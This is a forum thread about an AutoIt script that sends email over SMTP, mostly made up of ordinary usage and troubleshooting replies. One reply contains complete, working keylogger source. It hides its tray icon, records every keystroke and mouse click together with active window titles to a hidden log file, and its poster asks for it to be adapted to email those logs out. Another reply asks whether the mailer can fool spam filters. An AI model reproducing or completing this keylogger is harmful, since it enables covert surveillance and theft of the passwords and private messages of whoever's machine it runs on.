Send Email with Autoit Script

Discussion in 'Programming' started by Cleptography, Sep 6, 2010.

  1. Cleptography

    Cleptography New Member

    Joined:
    Sep 2, 2010
    Messages:
    39
    Likes Received:
    7
    Trophy Points:
    0
    This is an AU3 script for sending email.

    Code:
    ;
    ;##################################
    ; Include
    ;##################################
    #Include<file.au3>
    ;##################################
    ; Variables
    ;##################################
    $SmtpServer = ""                            ; address for the smtp-server to use - REQUIRED
    $FromName = "Test"                          ; name from who the email was sent
    $FromAddress = ""                           ; address from where the mail should come
    $ToAddress = ""                             ; destination address of the email - REQUIRED
    $Subject = "Userinfo"                       ; subject from the email - can be anything you want it to be
    $Body = "This Is The Body"                  ; the messagebody from the mail - can be left blank but then you get a blank mail
    $AttachFiles = ""                           ; the file you want to attach- leave blank if not needed
    $CcAddress = ""                             ; address for cc - leave blank if not needed
    $BccAddress = ""                            ; address for bcc - leave blank if not needed
    $Importance = "Normal"                      ; Send message priority: "High", "Normal", "Low"
    $Username = ""                              ; username for the account used from where the mail gets sent - REQUIRED
    $Password = ""                              ; password for the account used from where the mail gets sent - REQUIRED
    $IPPort = 465                               ; port used for sending the mail
    $ssl = 0                                    ; enables/disables secure socket layer sending - put to 1 if using httpS
    ;~ $IPPort=465                              ; GMAIL port used for sending the mail
    ;~ $ssl=1                                   ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS
    
    ;##################################
    ; Script
    ;##################################
    Global $oMyRet[2]
    Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
    $rc = _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)
    If @error Then
        MsgBox(0, "Error sending message", "Error code:" & @error & "  Description:" & $rc)
    EndIf
    ;
    ; The UDF
    Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
        Local $objEmail = ObjCreate("CDO.Message")
        $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
        $objEmail.To = $s_ToAddress
        Local $i_Error = 0
        Local $i_Error_desciption = ""
        If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
        If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
        $objEmail.Subject = $s_Subject
        If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
            $objEmail.HTMLBody = $as_Body
        Else
            $objEmail.Textbody = $as_Body & @CRLF
        EndIf
        If $s_AttachFiles <> "" Then
            Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
            For $x = 1 To $S_Files2Attach[0]
                $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
                ConsoleWrite('@@ Debug(62) : $S_Files2Attach = ' & $S_Files2Attach & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
                If FileExists($S_Files2Attach[$x]) Then
                    $objEmail.AddAttachment ($S_Files2Attach[$x])
                Else
                    ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
                    SetError(1)
                    Return 0
                EndIf
            Next
        EndIf
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
        If Number($IPPort) = 0 then $IPPort = 25
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
        ;Authenticated SMTP
        If $s_Username <> "" Then
            $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
            $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
            $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
        EndIf
        If $ssl Then
            $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
        EndIf
        ;Update settings
        $objEmail.Configuration.Fields.Update
        ; Set Email Importance
        Switch $s_Importance
            Case "High"
                $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High"
            Case "Normal"
                $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal"
            Case "Low"
                $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low"
        EndSwitch
        $objEmail.Fields.Update
        ; Sent the Message
        $objEmail.Send
        If @error Then
            SetError(2)
            Return $oMyRet[1]
        EndIf
        $objEmail=""
    EndFunc   ;==>_INetSmtpMailCom
    ;
    ;
    ; Com Error Handler
    Func MyErrFunc()
        $HexNumber = Hex($oMyError.number, 8)
        $oMyRet[0] = $HexNumber
        $oMyRet[1] = StringStripWS($oMyError.description, 3)
        ConsoleWrite("### COM Error !  Number: " & $HexNumber & "   ScriptLine: " & $oMyError.scriptline & "   Description:" & $oMyRet[1] & @LF)
        SetError(1); something to check for when this function returns
        Return
    EndFunc   ;==>MyErrFunc
     
    allie likes this.
  2. allie

    allie New Member

    Joined:
    May 23, 2011
    Messages:
    2
    Likes Received:
    0
    Trophy Points:
    0
    Hello, this is a very nice autoit script. It works great but I would like to use a configuration file instead of coding all the options in the main program. When I keep all the settings in a text file and use FileOpen to read the file to read in the configuration, the program gives me the error The Transport failed to connect to the server. How can I make this to work with a configuration file? Thank you.
     
  3. allie

    allie New Member

    Joined:
    May 23, 2011
    Messages:
    2
    Likes Received:
    0
    Trophy Points:
    0
    Nevermind, I figured out the problem. Issue was with smtp port. It has to be a number instead of a variable. If using a variable, convert the data type to a number using the Number function
     
  4. ARogers

    ARogers New Member

    Joined:
    Feb 9, 2012
    Messages:
    2
    Likes Received:
    0
    Trophy Points:
    0
    How can I check a particular folder before sending an email? for instance if the folder is empty then no email is sent out but if the folder has files then an email is sent. Can I include a time interval to check the folder let's say every hour?


    Thanks
    Rogers
     
  5. Scripting

    Scripting John Hoder

    Joined:
    Jun 29, 2010
    Messages:
    421
    Likes Received:
    57
    Trophy Points:
    0
    Occupation:
    School for life
    Location:
    /root
    It looks cool, but will this fool the antispam routines?
     
  6. ARogers

    ARogers New Member

    Joined:
    Feb 9, 2012
    Messages:
    2
    Likes Received:
    0
    Trophy Points:
    0
    Thanks for your response.

    What I am trying to accomplish really, is to notify users that they need to check a particular folder once there are files in that folder. Unless the folder is empty an email will be sent to the users. This just acts as an alert to the user that they need to check this particular folder to remove these files.
    I Implemented the code by Cleptography and it works fine in terms of sending out mails. However I only want to send an email once the the folder has files in it. I thought about the FileExists ( "path" ) but I am not sure how to implement it in the script from Cleptography.
     
  7. fabian1121

    fabian1121 New Member

    Joined:
    Mar 20, 2012
    Messages:
    2
    Likes Received:
    0
    Trophy Points:
    0
    i have a request, sorry for refreshing if too old but, could you guys make this keylogger send the keyLOG to my email instead of saving them on the disc ?
    Code:
    #NoTrayIcon ; dont show tray icon
    $hDll=DllOpen("user32.dll")
    $window2=""
    $date=@year&@mon&@mday
    $log="C:\keylog"
    DirCreate ($log)
    $file = FileOpen($log&"\logfiles"&$date&".htm", 1) ; C:\keylog\logfiles\$date.htm ; 1 = Write mode (append to end of file)
    If $file = -1 Then ; exit if unable to Open logfile.
      Exit
    EndIf
    filewrite($file,"<font face=Verdana size=1>")
    ; ## Opt("TrayIconHide", 1) #hides the tray icon, although its visible for a second.
    Func terminate()
    	DllClose($hDll)
    	Exit 0
    EndFunc
    Func _LogKeyPress($what2log)
    $window=WinGetTitle("")
    if $window=$window2 Then
        FileWrite($file,$what2log)
        Sleep(100)
    Else
    $window2=$window
     FileWrite($file, "<br><BR>" & "<b>["& @Year&"."&@mon&"."&@mday&"  "&@HOUR & ":" &@MIN & ":" &@SEC & ']  Window: "'& $window& '"</b><br>'& $what2log)
    sleep (100)
    Endif
    EndFunc
    Func _IsPressed($hexKey)
     Local $aR, $bRv
     $hexKey = '0x' & $hexKey
     $aR = DllCall('user32.dll', "int", "GetAsyncKeyState", "int", $hexKey) ; The GetAsyncKeyState function determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.
    
     If $aR[0] <> 0 Then ;Tests if two values are not equal. Case insensitive when used with strings. To do a case sensitive not equal comparison use Not ("string1" == "string2")
        $bRv = 1
     Else
        $bRv = 0
     EndIf
    
     Return $bRv
    EndFunc
    While 1
    ;---------------------------------------------end program header, begin program----------------------------
    If _IsPressed('6A') Then
    	local $a
    	$a=terminate()
    EndIf
     If _IsPressed(41) Then ;if return 1
        _LogKeyPress("a")
    EndIf
    
    
     If _IsPressed(42) Then
        _LogKeyPress("b")
    EndIf
    
    
     If _IsPressed(43) Then
        _LogKeyPress("c")
    EndIf
    
    
     If _IsPressed(44) Then
        _LogKeyPress("d")
    EndIf
    
    
     If _IsPressed(45) Then
        _LogKeyPress("e")
    EndIf
    
    
     If _IsPressed(46) Then
        _LogKeyPress("f")
    EndIf
    
    
     If _IsPressed(47) Then
        _LogKeyPress("g")
    EndIf
    
    
     If _IsPressed(48) Then
        _LogKeyPress("h")
    EndIf
    
    
     If _IsPressed(49) Then
        _LogKeyPress("i")
    EndIf
    
    
     If _IsPressed('4a') Then
        _LogKeyPress("j")
    EndIf
    
    
     If _IsPressed('4b') Then
        _LogKeyPress("k")
    EndIf
    
    
     If _IsPressed('4c') Then
        _LogKeyPress("l")
    EndIf
    
    
     If _IsPressed('4d') Then
        _LogKeyPress("m")
    EndIf
    
    
     If _IsPressed('4e') = 1 Then
        _LogKeyPress("n")
    EndIf
    
    
     If _IsPressed('4f') Then
        _LogKeyPress("o")
    EndIf
    
    
     If _IsPressed(50) Then
        _LogKeyPress("p")
    EndIf
    
    
     If _IsPressed(51) Then
        _LogKeyPress("q")
    EndIf
    
    
     If _IsPressed(52) Then
        _LogKeyPress("r")
    EndIf
    
    
     If _IsPressed(53) Then
        _LogKeyPress("s")
    EndIf
    
    
     If _IsPressed(54) Then
        _LogKeyPress("t")
    EndIf
    
    
     If _IsPressed(55) Then
        _LogKeyPress("u")
    EndIf
    
    
     If _IsPressed(56) Then
        _LogKeyPress("v")
    EndIf
    
    
     If _IsPressed(57) Then
        _LogKeyPress("w")
    EndIf
    
    
     If _IsPressed(58) Then
        _LogKeyPress("x")
    EndIf
    
    
     If _IsPressed(59) Then
        _LogKeyPress("y")
    EndIf
    
      If _IsPressed('5a') Then
        _LogKeyPress("z")
    EndIf
    
    
    If _IsPressed('01') Then
        _LogKeyPress("<font color=#008000 style=font-size:9px><i>{LEFT MOUSE}</i></font>")
    EndIf
    
     If _IsPressed('02') Then
        _LogKeyPress("<font color=#008000 style=font-size:9px><i>{RIGHT MOUSE}</i></font>")
     EndIf
    
    
       If _IsPressed('08') Then
        _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{BACKSPACE}</i></font>")
     EndIf
    
    
       If _IsPressed('09') Then
        _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{TAB}</i></font>")
     EndIf
    
    
       If _IsPressed('0d') Then
        _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ENTER}</i></font>")
     EndIf
    
    
       If _IsPressed('10') Then
        _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{SHIFT}</i></font>")
     EndIf
    
    
         If _IsPressed('11') Then
        _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{CTRL}</i></font>")
     EndIf
    
    
         If _IsPressed('12') Then
        _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ALT}</i></font>")
    EndIf
    
    
       If _IsPressed('13') Then
        _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PAUSE}</i></font>")
     EndIf
    
    
      If _IsPressed('14') Then
        _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{CAPSLOCK}</i></font>")
    EndIf
    
    
       If _IsPressed('1b') Then
        _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ESC}</i></font>")
    EndIf
    
    
       If _IsPressed('20') Then
        _LogKeyPress(" ")
     EndIf
    
    
         If _IsPressed('21') Then
        _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PGUP}</i></font>")
     EndIf
    
    
         If _IsPressed('22') Then
        _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PGDOWN}</i></font>")
     EndIf
    
    
         If _IsPressed('23') Then
        _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{END}</i></font>")
     EndIf
    
    
         If _IsPressed('24') Then
        _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{HOME}</i></font>")
     EndIf
    
    
         If _IsPressed('25') Then
        _LogKeyPress("<font color=#008000 style=font-size:9px><i>{LEFT ARROW}</i></font>")
     EndIf
    
    
         If _IsPressed('26') Then
        _LogKeyPress("<font color=#008000 style=font-size:9px><i>{UP ARROW}</i></font>")
     EndIf
    
    
         If _IsPressed('27') Then
        _LogKeyPress("<font color=#008000 style=font-size:9px><i>{RIGHT ARROW}</i></font>")
     EndIf
    
    
         If _IsPressed('28') Then
        _LogKeyPress("<font color=#008000 style=font-size:9px><i>{DOWN ARROW}</i></font>")
     EndIf
    
    
         If _IsPressed('2c') Then
        _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PRNTSCRN}</i></font>")
     EndIf
    
    
         If _IsPressed('2d') Then
        _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{INSERT}</i></font>")
     EndIf
    
    
         If _IsPressed('2e') Then
        _LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{DEL}</i></font>")
    EndIf
    
       If _IsPressed('30') Then
        _LogKeyPress("0")
     EndIf
    
    
         If _IsPressed('31') Then
        _LogKeyPress("1")
     EndIf
    
    
         If _IsPressed('32') Then
        _LogKeyPress("2")
     EndIf
    
    
         If _IsPressed('33') Then
        _LogKeyPress("3")
     EndIf
    
    
         If _IsPressed('34') Then
        _LogKeyPress("4")
     EndIf
    
    
         If _IsPressed('35') Then
        _LogKeyPress("5")
     EndIf
    
    
         If _IsPressed('36') Then
        _LogKeyPress("6")
     EndIf
    
    
         If _IsPressed('37') Then
        _LogKeyPress("7")
     EndIf
    
    
         If _IsPressed('38') Then
        _LogKeyPress("8")
    EndIf
    
    
       If _IsPressed('39') Then
        _LogKeyPress("9")
    EndIf
    
    WEnd
    Sincerly
    fabian
     
  8. vnexpress

    vnexpress New Member

    Joined:
    Jun 11, 2012
    Messages:
    3
    Likes Received:
    0
    Trophy Points:
    0
    hic hic i cant run on my PC, anti virus del it
     
  9. rsfneo

    rsfneo New Member

    Joined:
    Jun 27, 2012
    Messages:
    2
    Likes Received:
    0
    Trophy Points:
    0
    Hi do you any script like this but send mail for each file declared in a list.txt for exmP
     
  10. rsfneo

    rsfneo New Member

    Joined:
    Jun 27, 2012
    Messages:
    2
    Likes Received:
    0
    Trophy Points:
    0
    Never mind i allready create the script based on this one and it works.
     

Share This Page

  1. This site uses cookies to help personalise content, tailor your experience and to keep you logged in if you register.
    By continuing to use this site, you are consenting to our use of cookies.
    Dismiss Notice